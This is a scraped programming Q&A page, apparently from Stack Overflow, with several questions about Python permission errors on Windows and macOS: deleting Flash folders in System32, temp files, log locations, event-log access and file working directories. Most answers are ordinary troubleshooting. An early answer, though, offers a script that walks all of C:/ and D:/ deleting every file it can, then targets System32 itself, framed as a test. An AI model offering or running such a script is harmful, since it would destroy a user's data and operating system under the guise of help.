I'm trying to write a script which deletes the C:\Windows\System32\Macromed and the C:Windows\SysWOW64\Macromed (basically adobe flash manual uninstall files).
What I'm running into is permissions issues from windows due to it needing elevated permissions to delete these folders. However, Windows isn't prompting me to agree to permissions nor asking for my admin username/password to allow me to delete those folders.
I've tried looking online and saw how the shutil.rmtree() works but like I said, running into the permissions wall thing.
Just try to remove it manually and still you are getting the permission issues with windows then python script wouldn't work either, you have to get the ownership object from windows. try changing the files permissions then run the python script. Usually windows not allow to delete the files in System32 directory it is a core part of the windows.
Write a proper script and test it with files in user directory first, if it successfully doing your job. then deal with windows for your folders you want to remove.
from os import walk
import os
# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue
home="D:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue
shutil.rmtree(r"any path that ")
os.remove("C:\Windows\System32")
Related
I am trying to delete a temp file which a specific game uses with Python.
I am running CMD as admin and using code:
path = ""
if os.path.exists(path):
os.remove(path)
This is giving me the error access denied likely because it is program files but any way around this?
Based on comments added to the question, it was misleading - you weren't trying to remove a file from Program Files, you were trying to remove a directory from AppData\Local. There shouldn't be any problem with that, except that you're using os.remove to do it. According to the documentation:
If path is a directory, an IsADirectoryError is raised. Use rmdir() to remove directories.
So the fix is simple:
os.rmdir(path)
I've created an application (Python 3.6) with cx_Freeze and when ran as a Python command or even the executable works totally fine.
But if I make the application auto-boot on windows 10 (by creating shortcut in shell:startup) the log file it would create or write to raises PermissionError. I tried to create a workaround by checking if the file is locked, just add an increment number to the end of the file.
This also works, if I manually make a log file read only, it will create the next one and so on. But with auto boot it raises RecursionError, so it has probably absolutely no way to write to the disk.
Is there anyway without giving the application Run as administrator to be able to handle the magic of creating a log file when booting up? :)
Have you tried to let the application create the log file in the %APPDATA% directory or in the %LOCALAPPDATA%directory? You can use the following to get the path to these directories in Python:
import os
app_data_path = os.getenv('APPDATA')
local_app_data_path = os.getenv('LOCALAPPDATA')
print(app_data_path)
print(local_app_data_path)
See How can I get the path to the %APPDATA% directory in Python?
This is my first time writing a python module so I don't know some customs. My module needs to write data and store it somewhere. I decided to do so in some nested folder underneath the location of my modules egg within site-packages.
However, when running the script on a computer after installing it via setup.py,
I'm getting errors when trying to create a directory. I managed to get around creating/reading from files by making all my
open('file.txt', 'r+') # into
open('file.txt', 'r')
# and same respectively for writes.
# os.mkdir() is causing an IOError permissions denied.
But it still won't let me create directories! Via an IOError permissions denied.
NOTE: I'm aware that you can write/read anything from some special dirs, like /tmp, but I'd prefer to do it in the egg.
I feel that this task is a must do also, does anyone have any ideas?
Application data should be stored under either %APPDATA%, $XDG_CONFIG_HOME, or ~/.config, depending on the platform. Create a directory for the module within one of those locations. Or better yet, have the application tell you where your data should be located.
so my ultimate goal is to use python to read a specific application's windows event log when triggered by a file update.
Here is my problem, python I believe does not have access to the event logs stored in C:\Windows\System32\winevt\Logs. Whenever I try to read the files I get the following error:
WindowsError: [Error 2] The system cannot find the file specified
I tried every form of escaping, string split/join and using quotes on the file path and I always get the same error. I even cheaply used the os.system('dir "C:\Windows\System32..."') command in the python command prompt to list directories higher in the path for the log to verify access and I receive similar errors up to the C:\Windows\System32 directory, that one will list just fine.
Example:
C:\Windows\System32\winevt\Logs - File not found
C:\Windows\System32\winevt - File not found
C:\Windows\System32 - Lists files
I know these directories exist. So from here I figured I could use a bash script to copy the event log into a temp folder for python to read. I wrote a real simple bash script containing:
xcopy /Y "C:\Windows\System32\winevt\Logs\XXXXXXX" c:\Temp
(XXXXXXX) being the name of the log I want to copy for the python script.
The bash script runs fine on its own but when called by my python script it fails, refuses to copy the file because it can't find it. I have even tried using py2exe to create an exe to then run in administrator mode. This failed too. With similar errors of the file not found. I'm not sure I understand the permissions python uses to call the script and why the bash script cannot copy the file even when it can do it in a normal command prompt.
Any suggestions or flaws you can point out in my logic would be great. I am very stuck.
You are using a 32bits python on a 64bit install of windows.
In most cases, whenever a 32-bit application attempts to access %windir%\System32, the access is redirected to %windir%\SysWOW64
You can use os.listdir("c:\windows\sysnative\winevt\logs") as a workaround to read from the real system32 dir from a 32bit python interpretter runing on a 64bit windows...
Sources:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
http://support.microsoft.com/kb/942589
I made a simple python script which creates a text file. The contents of the script are
f = open("New", "w")
f.close
Now I moved the script to the desktop (I'm on a mac) and ran it, and nothing shows up. No file is created on the desktop that is visible for me.
I actually made this little script because one of my other scripts involves opening/creating a text file and reading from it. I entered the information wrong while in my program forever, and now the entire thing is broken and I cant fix it because I have no idea where it's created the darn text file. I was under the impression that just opening a file with giving it an absolute path would create it in the same directory as the script. I seem to have been mistaken.
I've been launching the script from the terminal with the command
python3 /Users/me/Desktop/script.py
Because of that, I feel like its creating the file somewhere in the python3 install location or within wherever the python3 unix exec is located. I think. Can't check.
Are any of you guys willing to help out?
-pipsqueaker117
EDIT: Here's a link to the big program which broke.
It'll be created in the current working directory, which is the directory from which you called the script.
Your file will be created in the current directory (most probably in /Users/me/ if you just opened the terminal)
Try:
cd /Users/me/Desktop/
python3 /Users/me/Desktop/script.py
You should modify your program to change the working directory (before you write the file) to the place where you want files to show up.
import os
os.chdir('/Users/me/Desktop') # or whatever
This should be a directory where you have permission to write files.
You can always ask:
import os
cwd=os.getcwd()
print(cwd)
That will print the directory the file (without a path) will be opened in.
You can change to a specific directory (in Python) this way:
import os
try:
os.chdir('/Users/me/Desktop')
except OSError as e:
print e